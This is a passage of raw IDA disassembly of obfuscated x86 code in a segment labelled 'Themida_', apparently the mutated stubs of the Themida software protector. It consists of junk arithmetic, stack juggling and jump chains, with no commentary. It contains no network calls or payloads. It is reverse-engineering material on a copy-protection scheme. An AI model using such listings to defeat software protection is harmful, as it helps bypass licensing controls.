add bl, 59h
pop dx
jmp loc_55DA03
; ---------------------------------------------------------------------------
loc_553C8D: ; CODE XREF: sub_559C84+43A4j
neg edi
dec edi
add edi, 0DC4534C5h
mov ebp, edi
jmp loc_55FC1D
; ---------------------------------------------------------------------------
loc_553C9D: ; CODE XREF: sub_559C84+1580j
pop ecx
push edx
jmp loc_5566F4
; ---------------------------------------------------------------------------
loc_553CA4: ; CODE XREF: sub_559C84+3B55j
mov [esp+20h+var_20], edx
jmp loc_55BB55
; ---------------------------------------------------------------------------
loc_553CAC: ; CODE XREF: sub_559C84+4416j
pop eax
jmp loc_55C070
; ---------------------------------------------------------------------------
loc_553CB2: ; CODE XREF: sub_559C84+A3Aj
mov ebx, [esp+1Ch+var_1C]
add esp, 4
add ebx, 4AFF1D04h
jmp loc_554916
; ---------------------------------------------------------------------------
loc_553CC6: ; CODE XREF: sub_559C84-2C39j
shl edi, 6
not edi
sub edi, 0FFFFFFFFh
dec edi
shr edi, 6
sub edi, 1E09E04h
sub esp, 4
mov [esp+1Ch+var_1C], esi
mov esi, edi
mov edx, esi
push [esp+1Ch+var_1C]
pop esi
add esp, 4
pop edi
jmp loc_55EA69
; ---------------------------------------------------------------------------
loc_553CF2: ; CODE XREF: sub_559C84-37C4j
mov edx, edi
push ecx
push 182Eh
mov [esp+1Ch+var_1C], edx
mov ecx, [esp+1Ch+var_1C]
add esp, 4
push ecx
sub [esp+1Ch+var_1C], 0F9124EBh
pop eax
add eax, 0F9124EBh
mov ecx, [esp+18h+var_18]
jmp loc_55B296
; ---------------------------------------------------------------------------
loc_553D19: ; CODE XREF: sub_559C84-2881j
pop esp
push 36A6h
mov [esp+18h+var_18], edx
push ebx
push ebp
mov ebp, esp
jmp loc_5552E4
; ---------------------------------------------------------------------------
loc_553D2B: ; CODE XREF: sub_559C84+24D9j
sub edi, 194E5313h
jmp loc_55387C
; ---------------------------------------------------------------------------
loc_553D36: ; CODE XREF: sub_559C84+4DE0j
and byte ptr [esp+20h+var_20], al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_553D3F: ; CODE XREF: sub_559C84+3FF8j
pop [esp+24h+var_24]
pop esp
mov [esp+1Ch+var_1C], ebp
mov ebp, 40h
and ecx, ebp
mov ebp, [esp+1Ch+var_1C]
add esp, 4
jmp loc_55455B
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_553D58 proc near ; CODE XREF: sub_559C84+602j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00556F1F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055714D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055ECBD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055FC66 SIZE 00000012 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov dh, 0B1h
jmp loc_556F1F
sub_553D58 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553D65: ; CODE XREF: sub_559C84+4841j
mov [esp+18h+var_18], esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
mov [esp+1Ch+var_1C], esp
push edi
mov edi, 4
add [esp+20h+var_1C], edi
pop edi
pop esi
jmp loc_55CA3A
; ---------------------------------------------------------------------------
loc_553D91: ; CODE XREF: sub_559C84+4585j
mov ch, ah
pop eax
add ch, bl
jmp loc_5599F8
; ---------------------------------------------------------------------------
loc_553D9B: ; CODE XREF: sub_559C84+4F3Dj
neg eax
shl eax, 3
xor eax, 4F6134AFh
jmp loc_555FC5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553DAA: ; CODE XREF: Themida_:0055497Cj
sub esp, 4
mov [esp], esi
jmp loc_55AD12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553DB5: ; CODE XREF: sub_559C84-5610j
pop edx
push eax
mov eax, 5E4B1DC2h
xor edx, eax
pop eax
pop eax
add edi, edx
pop edx
xchg edi, [esp+8+var_8]
pop esp
mul cl
movzx cx, ah
push small 57BCh
mov word ptr [esp+6+var_8+2], cx
movzx cx, al
push cx
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_553DE1: ; CODE XREF: sub_559C84+2BB6j
xor eax, 76BF0F52h
jmp loc_5589E6
; ---------------------------------------------------------------------------
loc_553DEB: ; CODE XREF: sub_559C84+372j
mov ecx, 6F7330A4h
mov ebx, 0F925FD99h
add ebx, ecx
pop ecx
shr ebx, 6
or ebx, 7FDA47C3h
sub ebx, 56C901E6h
jmp loc_5560A5
; ---------------------------------------------------------------------------
loc_553E0C: ; CODE XREF: sub_559C84+D6Fj
add esp, 4
jmp loc_555C1B
; ---------------------------------------------------------------------------
loc_553E14: ; CODE XREF: sub_559C84+1FF1j
pop esp
add edx, 4
jmp loc_55CC1D
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553E20: ; CODE XREF: Themida_:00558D51j
push esp
pop esi
push 2E05h
mov [esp], edi
jmp loc_554FE3
; ---------------------------------------------------------------------------
loc_553E2F: ; CODE XREF: Themida_:0055DD8Cj
mov [esp], ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_55792E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553E3F: ; CODE XREF: sub_559C84+363Ej
pop ebx
push edi
mov edi, esp
jmp loc_553FD9
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_553E48 proc near ; DATA XREF: Themida_:00553480o
var_4 = dword ptr -4
push dword ptr [esp+0]
pop ecx
sub esp, 4
mov [esp+4+var_4], ebx
push esp
jmp loc_55CFCB
sub_553E48 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55702F
loc_553E5B: ; CODE XREF: sub_55702F+Fj
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
jmp loc_5559CE
; END OF FUNCTION CHUNK FOR sub_55702F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553E6C: ; CODE XREF: sub_559C84+310Cj
dec edx
neg edx
jmp loc_555875
; ---------------------------------------------------------------------------
loc_553E74: ; CODE XREF: sub_559C84-463Aj
add eax, edx
push edi
mov edi, 36456E8Ch
add eax, edi
pop edi
sub eax, 243A0F4Fh
jmp loc_55DE0A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553E89: ; CODE XREF: Themida_:005589E1j
add dword ptr [esp], 4
pop eax
push 7A9h
mov [esp], edi
push ebx
push 3CDE4166h
jmp loc_55B317
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55590A
loc_553EA1: ; CODE XREF: sub_55590A+6j
mov [esp+8+var_8], eax
mov eax, 67FA7595h
mov ebp, 0F1DEFA37h
jmp loc_556F58
; END OF FUNCTION CHUNK FOR sub_55590A
; =============== S U B R O U T I N E =======================================
sub_553EB3 proc near ; DATA XREF: Themida_:005534A8o
var_4 = dword ptr -4
mov ax, [esp+0]
sub esp, 4
mov [esp+4+var_4], esi
mov esi, esp
push ecx
push ebx
mov ebx, 65C3296Bh
jmp loc_55BB05
sub_553EB3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553ECB: ; CODE XREF: sub_559C84-453Aj
shr ecx, 1
push edi
jmp loc_55AEE2
; ---------------------------------------------------------------------------
loc_553ED3: ; CODE XREF: sub_559C84-691j
movzx cx, al
push cx
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_553EDF: ; CODE XREF: sub_559C84-780j
xor edi, ebx
pop ebx
and ecx, edi
jmp loc_55D493
; ---------------------------------------------------------------------------
loc_553EE9: ; CODE XREF: sub_559C84+671j
add ecx, ebp
pop ebp
and eax, ecx
jmp loc_55E9E4
; ---------------------------------------------------------------------------
loc_553EF3: ; CODE XREF: sub_559C84-536Cj
mov esi, [esp+2+var_4+2]
add esp, 4
jmp loc_55CE06
; ---------------------------------------------------------------------------
loc_553F01: ; CODE XREF: sub_559C84-2B21j
add edx, 4
jmp loc_55695D
; ---------------------------------------------------------------------------
loc_553F0C: ; CODE XREF: sub_559C84+1968j
push edi
mov edi, 7F6F35F4h
mov ebp, edi
pop edi
sub ebp, 759E655Ah
sub ebp, 6DD621Bh
inc ebp
sub ebp, 2F36E7Ch
push ebx
mov ebx, 25CE6EC1h
xor ebx, 466B6095h
jmp loc_557DB0
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5597C1
loc_553F39: ; CODE XREF: sub_5597C1+4752j
shr eax, 0Ch
jmp loc_55F156
; END OF FUNCTION CHUNK FOR sub_5597C1
; ---------------------------------------------------------------------------
loc_553F41: ; CODE XREF: Themida_:0055999Dj
sub esp, 4
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 281F1D7Eh
not edi
jmp loc_55BEC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DC14
loc_553F56: ; CODE XREF: sub_55DC14+9j
mov ecx, 3E1C0A55h
add ecx, 21B47E1Fh
and ecx, 48FD0211h
and ecx, 9974195h
push edx
mov edx, 46762AFDh
or ecx, edx
pop edx
jmp sub_558BA2
; END OF FUNCTION CHUNK FOR sub_55DC14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553F7B: ; CODE XREF: sub_559C84+5CC1j
dec cl
push 2450h
jmp loc_55D2EF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553F87: ; CODE XREF: Themida_:00553B6Dj
mov [esp], ebp
mov ebp, 1B2F3BB4h
jmp loc_5599A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553F94: ; CODE XREF: sub_559C84-2E7Ej
sub bl, 80h
mov ah, bl
mov ebx, [esp+6+var_8+2]
add esp, 4
jmp loc_55E6B7
; ---------------------------------------------------------------------------
loc_553FA7: ; CODE XREF: sub_559C84-39AEj
push ecx
mov ch, 0AAh
sub bl, ch
pop ecx
push edx
jmp loc_55CE7D
; ---------------------------------------------------------------------------
loc_553FB3: ; CODE XREF: sub_559C84+43E7j
pop esp
or edx, eax
shl edx, 1
jmp loc_55B61B
; ---------------------------------------------------------------------------
loc_553FBD: ; CODE XREF: sub_559C84+4CC8j
mov ebp, esi
pop esi
jmp loc_558847
; ---------------------------------------------------------------------------
loc_553FC5: ; CODE XREF: sub_559C84-1E11j
pop edi
shl edx, 2
jmp loc_555107
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D95
loc_553FCE: ; CODE XREF: sub_558D95+Cj
add al, 8Fh
push small 7F77h
jmp loc_55EABE
; END OF FUNCTION CHUNK FOR sub_558D95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553FD9: ; CODE XREF: sub_559C84-5E41j
add edi, 4
push esi
mov esi, 4
add edi, esi
pop esi
xchg edi, [esp+0]
pop esp
xchg bh, ch
push bx
not byte ptr [esp+1]
jmp loc_5540AF
; ---------------------------------------------------------------------------
loc_553FF9: ; CODE XREF: sub_559C84+5824j
shr edx, 1
not edx
or edx, 4B4C271Eh
add edx, 16197563h
sub esp, 4
mov [esp+2+var_4+2], esi
push ebp
mov ebp, 49A55C87h
dec ebp
add ebp, 65A336C0h
dec ebp
neg ebp
add ebp, 0FC3EE52Fh
mov esi, ebp
pop ebp
shr esi, 8
sub esi, 0D48DF119h
sub eax, 56426EBh
add eax, esi
add eax, 56426EBh
push [esp+2+var_4+2]
pop esi
add esp, 4
sub eax, edx
sub eax, 2BBF0538h
pop edx
sub esp, 4
mov [esp+0], eax
mov eax, esp
push 4DB1h
mov [esp+2+var_4+2], ebp
mov ebp, 4DB87CA2h
jmp loc_559334
; ---------------------------------------------------------------------------
loc_55406C: ; CODE XREF: sub_559C84+54Dj
add esp, 4
add eax, 0FFFFFFFFh
xor eax, 0D1C78FBFh
sub [edi+24h], eax
push dword ptr [esp+0]
mov eax, [esp+2+var_4+2]
add esp, 4
add esp, 4
loc_55408F: ; CODE XREF: sub_559C84-104Fj
push ebx
add dword ptr [esp+0], 1AB47669h
jmp loc_55E9A8
; ---------------------------------------------------------------------------
loc_55409C: ; CODE XREF: sub_559C84+2CD8j
shl dh, 6
sub esp, 4
jmp loc_55E2AC
; ---------------------------------------------------------------------------
loc_5540A7: ; CODE XREF: sub_559C84+4ECj
mov edx, [esp+2+var_4+2]
jmp loc_55CA06
; ---------------------------------------------------------------------------
loc_5540AF: ; CODE XREF: sub_559C84-5C90j
pop bx
xchg bh, ch
xor byte ptr [esp-4+arg_0], ch
xor ch, byte ptr [esp-4+arg_0]
xor byte ptr [esp-4+arg_0], ch
jmp loc_55A22A
; ---------------------------------------------------------------------------
loc_5540C1: ; CODE XREF: sub_559C84+4DBCj
push 4635h
mov [esp+0], edi
push 1
push [esp+4+var_4]
pop edi
add esp, 4
jmp loc_55F3FE
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557739
loc_5540DA: ; CODE XREF: sub_557739+1Bj
pop eax
push edx
mov edx, esp
jmp loc_55CDBC
; END OF FUNCTION CHUNK FOR sub_557739
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5540E3: ; CODE XREF: sub_559C84+193Aj
mov ebp, [esp+0]
jmp loc_55724D
; ---------------------------------------------------------------------------
loc_5540EB: ; CODE XREF: sub_559C84+3E60j
push eax
mov eax, 2
push edi
jmp loc_55B948
; ---------------------------------------------------------------------------
loc_5540F7: ; CODE XREF: sub_559C84+2D26j
add ecx, ebx
pop ebx
add ecx, 4
jmp loc_55BA8B
; ---------------------------------------------------------------------------
loc_554102: ; CODE XREF: sub_559C84-3F4Bj
add esp, 4
push 72E8h
jmp loc_55CDB4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E611
loc_55410F: ; CODE XREF: sub_55E611-4B4j
pop edx
mov eax, edi
pop edi
mov ecx, [esp-8+arg_4]
add esp, 4
mov ebp, [esp-0Ch+arg_8]
add esp, 4
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_55E611
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554124: ; CODE XREF: sub_559C84+1714j
or ebp, 131531ACh
dec ebp
not ebp
jmp loc_55D2C7
; ---------------------------------------------------------------------------
loc_554132: ; CODE XREF: sub_559C84+5491j
push esp
jmp loc_5554BC
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557B99
loc_554138: ; CODE XREF: sub_557B99+Ej
pop ebp
xchg edi, [esp+0]
pop esp
push edx
mov dl, al
jmp loc_55B6CC
; END OF FUNCTION CHUNK FOR sub_557B99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554145: ; CODE XREF: sub_559C84+41AFj
add esi, 76C25830h
pop ecx
add esi, 4
xchg esi, [esp+4+var_4]
jmp loc_55EC82
; ---------------------------------------------------------------------------
loc_55415A: ; CODE XREF: sub_559C84+45E2j
add al, 9Dh
add al, dl
sub al, 9Dh
jmp loc_557CF0
; ---------------------------------------------------------------------------
loc_554165: ; CODE XREF: sub_559C84-142j
mov esi, 2
add ebx, 387D46E3h
sub ebx, 161474BDh
add ebx, esi
add ebx, 161474BDh
jmp loc_55EB1F
; ---------------------------------------------------------------------------
loc_554183: ; CODE XREF: sub_559C84+3079j
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
jmp loc_557093
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5591C7
loc_554198: ; CODE XREF: sub_5591C7-786j
pop ebx
push eax
mov eax, 3D294CDCh
push edi
jmp loc_555414
; END OF FUNCTION CHUNK FOR sub_5591C7
; ---------------------------------------------------------------------------
loc_5541A5: ; CODE XREF: Themida_:00555B74j
mov edx, 7521126Bh
jmp loc_55B2FD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55DAC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5541B8: ; CODE XREF: sub_559C84+40EFj
push edi
sub esp, 4
jmp loc_55A147
; ---------------------------------------------------------------------------
loc_5541C1: ; CODE XREF: sub_559C84-3F9Cj
dec eax
jmp loc_55DFF6
; ---------------------------------------------------------------------------
loc_5541C7: ; CODE XREF: sub_559C84+9FBj
xor [esp+8+var_4], esi
push [esp+8+var_8]
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_55A3E5
; ---------------------------------------------------------------------------
loc_5541DC: ; CODE XREF: sub_559C84+2546j
sub edx, eax
pop eax
add ecx, edx
pop edx
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
mov cx, word ptr [esp-4+arg_0]
sub esp, 4
mov [esp+0], edi
mov edi, esp
push eax
push esi
mov esi, 31E75B36h
xor esi, 71884902h
mov eax, esi
pop esi
jmp loc_5569E4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554210: ; CODE XREF: Themida_:00558E53j
pop ecx
sub ax, bx
sub ax, 7264h
push bx
sub esp, 4
mov [esp], esi
mov si, 688Eh
not si
dec si
push bp
mov bp, 75BBh
sub si, bp
pop bp
jmp loc_557A23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E26B
loc_554239: ; CODE XREF: sub_55E26B-A8A7j
push 2F53h
mov [esp+8+var_8], edx
push edi
mov edi, 4
mov edx, edi
pop edi
add ebp, edx
jmp loc_554679
; END OF FUNCTION CHUNK FOR sub_55E26B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554251: ; CODE XREF: sub_559C84-1E58j
pop eax
mov edx, esi
pop esi
shr edx, 3
sub edx, 41487958h
sub esi, 3D54E23h
sub esi, edx
add esi, 3D54E23h
pop edx
jmp loc_55F1FD
; ---------------------------------------------------------------------------
loc_554272: ; CODE XREF: sub_559C84+1B58j
pop edi
pop [esp-0Ch+arg_8]
jmp loc_55ED2D
; ---------------------------------------------------------------------------
loc_55427B: ; CODE XREF: sub_559C84-4C3Ej
or ebp, edi
mov edi, [esp-10h+arg_C]
add esp, 4
shl ebp, 2
add ebp, 1B301A8Fh
push ecx
mov ecx, 347CB74Fh
xor ebp, ecx
pop ecx
jmp loc_5561EC
; ---------------------------------------------------------------------------
loc_55429D: ; CODE XREF: sub_559C84-4BC8j
push edi
mov edi, 4461CBAh
shr edi, 7
add edi, 397C6386h
add edi, 57401691h
xor edi, 9891412Eh
add eax, edi
pop edi
or eax, 4AF568AAh
jmp loc_553956
; ---------------------------------------------------------------------------
loc_5542C5: ; CODE XREF: sub_559C84-492Cj
mov [esp-14h+arg_10], ebp
jmp loc_55EA1E
; ---------------------------------------------------------------------------
loc_5542CD: ; CODE XREF: sub_559C84-8B4j
mov [esp-14h+arg_10], ebp
sub esp, 4
push esp
pop [esp-0Ch+arg_8]
add [esp-10h+arg_C], 4
pop ebp
push esi
mov esi, 5D2A4DC4h
xor esi, 5D2A4DC0h
add ebp, esi
mov esi, [esp-10h+arg_C]
jmp loc_55C288
; ---------------------------------------------------------------------------
loc_5542F5: ; CODE XREF: sub_559C84+56DCj
mov ecx, [esp-10h+arg_C]
add esp, 4
push edi
mov edi, 64D97443h
add edi, 7CC17590h
shl edi, 4
jmp loc_555947
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554312: ; CODE XREF: Themida_:0055DD6Bj
mov cl, ah
mov dl, cl
mov ecx, [esp]
jmp loc_556A5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55431E: ; CODE XREF: sub_559C84+1BA3j
push edx
mov edx, 1F246464h
sub ecx, 6DDF0B46h
add ecx, edx
add ecx, 6DDF0B46h
pop edx
pop edx
xor ecx, [esp-14h+arg_10]
jmp loc_55CEA9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_55433C: ; CODE XREF: sub_557976-16A8j
xor dl, 86h
neg dl
or dl, 3Ch
sub dl, 0C1h
add al, dl
pop edx
pop ebx
push eax
mov al, 5Fh
xor al, 58h
jmp loc_5590F8
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554355: ; CODE XREF: sub_559C84-EA5j
pop ebp
pop eax
jmp loc_559E64
; ---------------------------------------------------------------------------
loc_55435C: ; CODE XREF: sub_559C84+1305j
mov cl, 0DAh
not cl
and cl, 6Bh
dec cl
jmp loc_55AE44
; ---------------------------------------------------------------------------
loc_55436A: ; CODE XREF: sub_559C84-3A52j
mov [esp-1Ch+arg_18], edx
push esi
push 51124BC1h
pop esi
xor esi, 40361372h
sub esi, 1124588Fh
mov edx, esi
pop esi
sub edx, 424A2278h
add edx, edi
add edx, 424A2278h
push ecx
push esi
mov esi, 0
mov ecx, esi
pop esi
add ecx, 53BE67FDh
sub ecx, 4A2A7913h
add ecx, edx
add ecx, 4A2A7913h
sub ecx, 53BE67FDh
push edx
mov edx, 0
add edx, ecx
add [edx], eax
pop edx
jmp loc_554ED2
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5543C5: ; CODE XREF: Themida_:00553B4Cj
mov cl, 0A7h
sub al, 0F9h
sub al, cl
add al, 0F9h
mov cx, [esp]
add esp, 2
add al, bl
push ebx
mov bl, 36h
xor bl, 34h
add bl, 70h
sub bl, 0A5h
add bl, 95h
shl bl, 5
jmp loc_55571A
; ---------------------------------------------------------------------------
add edx, 4
jmp loc_553533
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5543FB: ; CODE XREF: sub_559C84+21B9j
mov edi, [esp-18h+arg_14]
push ebx
jmp loc_55E72F
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_554404 proc near ; CODE XREF: sub_559C84+989j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55C0D0
sub_554404 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554415: ; CODE XREF: sub_559C84+18F1j
push 4FD4h
mov [esp-10h+arg_C], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp-10h+arg_C]
pop esp
xchg ebx, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
shl byte ptr [esp-14h+arg_10], cl
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55443B: ; CODE XREF: Themida_:0055F43Bj
xor ebx, [esp]
jmp loc_555915
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554452: ; CODE XREF: sub_559C84-36B1j
add esp, 4
retn
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
jmp loc_556A2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55445E: ; CODE XREF: sub_559C84+53E4j
push 5516h
mov [esp-10h+arg_C], edi
mov edi, 1Ch
mov eax, edi
pop edi
sub eax, 539A45AAh
add eax, edi
add eax, 539A45AAh
mov ecx, [eax]
push [esp-14h+arg_10]
mov eax, [esp-10h+arg_C]
push 0C40h
mov [esp-0Ch+arg_8], eax
jmp loc_55BE9E
; ---------------------------------------------------------------------------
loc_55448F: ; CODE XREF: sub_559C84+384Cj
not ecx
shl ecx, 1
and ecx, 55F92A04h
shr ecx, 7
jmp loc_5599EA
; ---------------------------------------------------------------------------
loc_5544A1: ; CODE XREF: sub_559C84-6461j
mov ebp, edx
mov edx, [esp+30h+var_30]
add esp, 4
add ebp, 5A0E097Ch
add ebp, 59A25848h
jmp loc_558DD9
; ---------------------------------------------------------------------------
loc_5544BA: ; CODE XREF: sub_559C84-41Ej
mov ecx, 7EFE4EBBh
dec ecx
or ecx, 5ABA0FFFh
inc ecx
shl ecx, 2
neg ecx
jmp loc_55C486
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5544D1: ; CODE XREF: Themida_:00553AD5j
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
jmp loc_553C59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5544FB: ; CODE XREF: sub_559C84+30A6j
sub edx, 7CF119A6h
add edx, edi
push edi
jmp loc_555A01
; ---------------------------------------------------------------------------
loc_554509: ; CODE XREF: sub_559C84+2C35j
mov [esp+30h+var_30], edx
mov dl, 0D5h
add bl, 0BEh
push edx
jmp loc_55596C
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_554517 proc near ; DATA XREF: Themida_:0055346Co
; FUNCTION CHUNK AT 00559795 SIZE 00000008 BYTES
push esi
mov esi, 1
jmp loc_559795
sub_554517 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554522: ; CODE XREF: sub_559C84+18E8j
mov al, dl
pop edx
jmp loc_55E0D9
; ---------------------------------------------------------------------------
loc_55452A: ; CODE XREF: sub_559C84+1243j
mov al, bh
jmp loc_555C71
; ---------------------------------------------------------------------------
loc_554531: ; CODE XREF: sub_559C84-3263j
pop dword ptr [edi+40h]
push esi
sub esp, 4
jmp loc_557309
; ---------------------------------------------------------------------------
loc_554540: ; CODE XREF: sub_559C84-17A4j
mov word ptr [esp+34h+var_34], dx
mov dh, 1Ah
jmp loc_55491D
; ---------------------------------------------------------------------------
loc_55454B: ; CODE XREF: sub_559C84+197Bj
pop esp
add al, ch
jmp loc_55580F
; ---------------------------------------------------------------------------
loc_554553: ; CODE XREF: sub_559C84+2774j
push [esp+30h+var_30]
jmp loc_5545CD
; ---------------------------------------------------------------------------
loc_55455B: ; CODE XREF: sub_559C84-5F31j
shr ecx, 6
push 5E62h
mov [esp+1Ch+var_1C], ebx
push edi
sub esp, 4
mov [esp+24h+var_24], esi
jmp loc_55F752
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_554572 proc near ; CODE XREF: sub_559C84+319Fj
arg_0 = dword ptr 4
arg_4 = word ptr 8
; FUNCTION CHUNK AT 00554835 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00558924 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055EBE5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055ECE9 SIZE 00000017 BYTES
push ebx
mov ebx, 2
jmp loc_55ECE9
sub_554572 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55457D: ; CODE XREF: sub_559C84-4F69j
add [esp+24h+var_20], ecx
pop ecx
sub [esp+20h+var_20], 37747E56h
add [esp+20h+var_20], eax
jmp loc_55C23C
; ---------------------------------------------------------------------------
loc_554591: ; CODE XREF: sub_559C84-510Dj
xor edi, eax
xor eax, edi
jmp loc_5570D0
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55459A: ; CODE XREF: Themida_:00559BE6j
sub esp, 4
mov [esp], ecx
mov ecx, 4
jmp loc_55A964
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5545AD: ; CODE XREF: sub_559C84+3964j
dec eax
neg eax
not eax
xor eax, 76FD5964h
add ecx, eax
pop eax
push edx
mov edx, 4
sub ecx, 6A7041B4h
add ecx, edx
jmp sub_55991D
; ---------------------------------------------------------------------------
loc_5545CD: ; CODE XREF: sub_559C84-572Ej
mov eax, [esp+34h+var_34]
jmp loc_55D656
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5545D5: ; CODE XREF: Themida_:00555102j
xchg ax, bx
xchg ax, [esp]
mov dx, [esp]
jmp loc_55DA1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5545E4: ; CODE XREF: sub_559C84-2274j
mov eax, [esp+34h+var_34]
push 0EA5h
mov [esp+38h+var_3A+2], edi
push esp
pop edi
add edi, 4
push 0EBBh
mov [esp+3Ch+var_3E+2], ebx
push ecx
mov ecx, 25312DFCh
add ecx, 758229FCh
jmp loc_55D3ED
; ---------------------------------------------------------------------------
loc_554610: ; CODE XREF: sub_559C84+5EDCj
pop edx
jmp loc_559DEF
; ---------------------------------------------------------------------------
loc_554616: ; CODE XREF: sub_559C84-3B1Bj
pop ebx
xchg esi, [esp+38h+var_3A+2]
pop esp
push dword ptr [edi+eax*4]
push [esp+38h+var_3A+2]
pop eax
push 48D8h
mov [esp+3Ch+var_3E+2], ebx
mov ebx, esp
push edi
mov edi, 17C327FFh
and edi, 0E261309h
sub edi, 7D8C0019h
jmp loc_55378A
; ---------------------------------------------------------------------------
